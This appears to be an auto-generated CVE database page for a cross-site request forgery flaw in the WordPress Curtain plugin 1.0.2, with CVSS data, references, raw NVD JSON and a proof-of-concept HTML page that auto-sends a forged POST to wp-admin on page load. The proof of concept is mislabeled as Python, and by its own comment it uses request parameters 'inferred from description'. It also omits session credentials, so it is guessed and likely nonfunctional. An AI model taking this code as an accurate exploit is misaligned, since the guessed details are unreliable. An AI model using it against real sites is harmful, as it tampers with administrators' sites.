CVE-2022-50955

Description

WordPress Plugin Curtain 1.0.2 contains a cross-site request forgery vulnerability that allows attackers to activate or deactivate site maintenance mode by crafting malicious requests. Attackers can trick authenticated administrators into submitting forged requests to the options-general.php page with curtain parameters to toggle maintenance mode without valid nonce validation.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Plugin Curtain 1.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2022-50955: CSRF to Toggle Maintenance Mode -->
<!-- This code demonstrates how a malicious request can be crafted -->
<html>
  <body>
    <h1>CVE-2022-50955 CSRF PoC</h1>
    <script>
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://target-site/wp-admin/options-general.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        
        // Payload to activate maintenance mode (parameters inferred from description)
        var params = "curtain_maintenance_status=active&action=update";
        
        xhr.send(params);
        console.log("Request sent to toggle maintenance mode.");
      }
      
      // Trigger automatically on page load
      window.onload = exploit;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50955
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50955
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50955/
[4] VulDB https://vuldb.com/cve/CVE-2022-50955
[5] https://wordpress.org/plugins/curtain/
[6] https://www.exploit-db.com/exploits/50842
[7] https://www.vulncheck.com/advisories/wordpress-plugin-curtain-cross-site-request-forgery

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50955", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:33.047", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WordPress Plugin Curtain 1.0.2 contains a cross-site request forgery vulnerability that allows attackers to activate or deactivate site maintenance mode by crafting malicious requests. Attackers can trick authenticated administrators into submitting forged requests to the options-general.php page with curtain parameters to toggle maintenance mode without valid nonce validation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://wordpress.org/plugins/curtain/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50842", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wordpress-plugin-curtain-cross-site-request-forgery", "source": "[email protected]"}]}}